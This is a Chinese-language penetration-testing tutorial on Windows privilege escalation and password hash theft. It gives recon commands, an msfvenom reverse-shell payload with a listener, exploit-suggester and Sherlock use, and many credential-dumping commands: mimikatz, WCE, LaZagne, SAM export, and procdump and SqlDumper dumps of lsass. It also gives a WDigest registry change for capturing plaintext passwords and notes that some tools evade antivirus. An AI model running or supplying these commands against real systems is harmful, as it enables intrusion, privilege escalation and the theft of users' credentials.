window提权
Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的,不同的用户在访问这台计算机时,将会有不同的权限。
WindowsNT用户组:
- Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
- Power Users:高级用户组,Power Users 可以执行除了为
- Administrators 组保留的任务外的其他任何操作系统任务。
- Users:普通用户组,这个组的用户无法进行有意或无意的改动。
- Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
- Everyone:所有的用户,这个计算机上的所有用户都属于这个组。
提权最重要的就是收集信息了,根据收集到的信息再进行攻击。
1 | 服务器系统和版本位数 |
收集好信息,就可以先从这几个方面入手:
1 | 确定是否能执行命令(如果不能调用系统cmd执行命令。 要上传一个cmd.exe) |
基础命令
命令 | 描述 |
---|---|
systeminfo | 打印系统信息 |
whoami | 获得当前用户名 |
Set | 环境变量 |
whoami /priv | 当前帐户权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示DNS缓存 |
route print | 打印出路由表 |
arp -a | 打印arp表 |
hostname | 主机名 |
net user | 列出用户 |
net user UserName | 关于用户的信息 |
net use \SMBPATH Pa$$w0rd /u:UserName | 连接SMB |
net localgroup | 列出所有组 |
net localgroup GROUP | 关于指定组的信息 |
net user guest /active:yes | 激活guest用户 |
net user 用户名 密码/add | 建立用户 |
net localgroup administrators 用户名/add | 把用户添加到管理员组中 |
net session | 开放给其他机器 |
netsh firewall show config | 显示防火墙配置 |
DRIVERQUERY | 列出安装的驱动 |
tasklist /svc | 列出服务任务 |
Tasklist /svc | find “TermService” |
net start | 列出启动的服务 |
dir /s foo | 在目录中搜索包含指定字符的项目 |
sc query | 列出所有服务 |
sc qc ServiceName | 找到指定服务的路径 |
shutdown /r /t 0 | 立即重启 |
type file.txt | 打印出内容 |
icacls “C:\Example” | 列出权限 |
wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的布丁 |
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”) | 利用ps远程下载文件到本地 |
wmic product get name,version | 查看当前安装程序 |
内核溢出提权
“系统内核溢出提权”因其利用便捷成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁,之后去找补丁的”互补”补丁,并利用对应的提权类的漏洞实现权限提升。
推荐一个提权类exp https://github.com/Al1ex/Heptagram/tree/master/Windows/Elevation
msf
MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据漏洞编号快速查找目标系统中的补丁信息。
生成payload
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.101 lport=4444 -f exe -o shell.exe |
监听
1 | msf6 > use exploit/multi/handler |
之后成功返回会话:
1 | msf6 exploit(multi/handler) > run |
之后再Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP,MSF5好像不提供了):
1 | meterpreter > run post/windows/gather/enum_patches |
于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:
1 | meterpreter > run post/multi/recon/local_exploit_suggester |
Sherlock
Sherlock(https://github.com/rasta-mouse/Sherlock) 是一个在Windows下用于本地提权的PowerShell脚本,目前包含了以下漏洞:
1 | MS10-015 : User Mode to Ring (KiTrap0D) |
该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取webshell的主机中直接上传即可):
1 | PS D:\>Import-Module .\Sherlock.ps1 |
之后执行以下命令来列举当前系统中所有可利用的漏洞:
1 | PS D:\>Find-AllVulns |
当然你也可以搜索某一个特定漏洞,例如:
1 | PS D:\>Find-CVE20177199 |
根据Sherlock的说明目前CS已经可以实现” 导入模块——>查询单一漏洞——>直接提权 “的一套流程了,下面是Github中的实例:
1 | beacon> getuid |
密码破解
基础知识
以下大部分转自daiker的文章: https://daiker.gitbook.io/windows-protocol/ntlm-pian/
windows内部是不保存明文密码的,只保存密码的hash。
其中本机用户的密码hash是放在 本地的SAM文件 里面,域内用户的密码hash是存在域控的NTDS.DIT文件 里面。那hash的格式是怎么样的呢?
在Windows系统导出密码的时候,经常看到这样的密码格式
1 | Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0::: |
其中的
- AAD3B435B51404EEAAD3B435B51404EE是LM Hash
- 31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash
LM Hash
全称是LAN Manager Hash, windows最早用的加密算法,由IBM设计。
LM Hash的计算:
- 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
- 再分7bit为一组,每组末尾加0,再组成一组
- 上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
- 将加密后的两组拼接在一起,得到最终LM HASH值。
1 | #coding=utf-8 |
LM加密算法存在一些固有的漏洞
- 首先,密码长度最大只能为14个字符
- 密码不区分大小写。在生成哈希值之前,所有密码都将转换为大写
- 查看我们的加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到lm hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位
- 一个14个字符的密码分成7 + 7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度大大降低,这使得14个字符的密码的有效强度等于,7个字符的密码的两倍,该密码的复杂度明显低于 14个字符的密码的理论强度。
- Des密码强度不高
NTLM Hash
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。
也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。(因此后面我们介绍身份认证的时候只介绍Net-ntlm,不再介绍net-lm)如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。
所以在win7 中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash并没有价值
NTLM Hash的计算
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行Unicode编码。
- 使用MD4摘要算法对Unicode编码数据进行Hash计算
获取HASH
原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。
1.WCE
WCE支持Windows XP,Windows 2003,Vista,Windows 7和Windows 2008(所有SP,32位和64位版本)
wce的pass传递
1 | wce.exe -s <username>:<domain>:<lmhash>:<nthash> |
获取hash值
1 | wce -o output.txt |
抓取明文:
1 | wce.exe -w |
2.mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz
Mimikatz 是一个开源的项目,用于 Windows 下读取已经登录过的用户 Hash 和明文密码,要顺利的读取密码必须具有 Admin 或者System 权限,所以它也是内网渗透神器之一。
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t REG_DWORD /d 1 /f |
本地交互式抓取
运行mimikatz.exe,弹出mimikatz的窗口,输入如下命令:
显示您是否具有适当的权限来继续:
1 | mimikatz # privilege::debug |
启动日志记录功能:
1 | mimikatz # log |
输出存储在此计算机上的所有明文密码:
1 | mimikatz # sekurlsa::logonpasswords |
此时会在当前 shell 运行的目录下生成mimikatz.log,这里面记录了抓取密码的一些详细情况
本地非交互式抓取
在高权限的 CMD 命令行下直接运行:
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt |
3.QuarksPwDump
该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。
可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。
下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master
完整源代码可以从https://github.com/quarkslab/quarkspwdump获取
1 | Quarkspwdump.exe --dump-hash-local 导出用户的NTLM Hash |
4.getpass.exe
该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。
5.LaZagne
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。
该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
下载地址 https://github.com/AlessandroZ/LaZagne
运行命令
1 | LaZagne.exe all |
6.pwdump
下载地址:https://www.openwall.com/passwords/windows-pwdump
7.SAM表获取hash
导出导出SAM和System文件
1 | reg save HKLM\SYSTEM sys.hiv |
将注册表的SAM、System文件导出到本地磁盘。使用mimikatz读取SAM和System文件。可获取NTLM Hash
1 | mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit |
*8.混合搭配mimikatz *
procdump
procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
该工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp 导出lsass.dmp |
再使用mimikatz读取密码
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit |
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行
SqlDumper.exe
该工具也是微软出品,也具备一定免杀能力。
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。如果目标机器没有安装SQL Server,自己上传SqlDumper.exe
1 | tasklist /svc | findstr lsass.exe 查看lsass.exe 的ProcessID |
mimikatz加载dump文件
1 | mimikatz.exe "sekurlsa::minidump SQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit |
SharpDump
工具下载:https://github.com/GhostPack/SharpDump
Out-Minidump.ps1 脚本C#版本编译后的结果。
把lsass.exe进程数据导出来dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压并使用本地的mimikatz进行读取。
1 | mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit" |
破解HASH
在线网站:https://www.objectif-securite.ch/ophcrack
参考文章:
NTLM 基础 介绍:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x00-qian-yan
Windows常见提权总结:https://www.freebuf.com/articles/system/254836.html
https://cloud.tencent.com/developer/article/1771226
Windows下常见的内核溢出提权:https://xz.aliyun.com/t/8292
https://www.freebuf.com/articles/network/247980.html
https://www.freebuf.com/articles/network/250827.html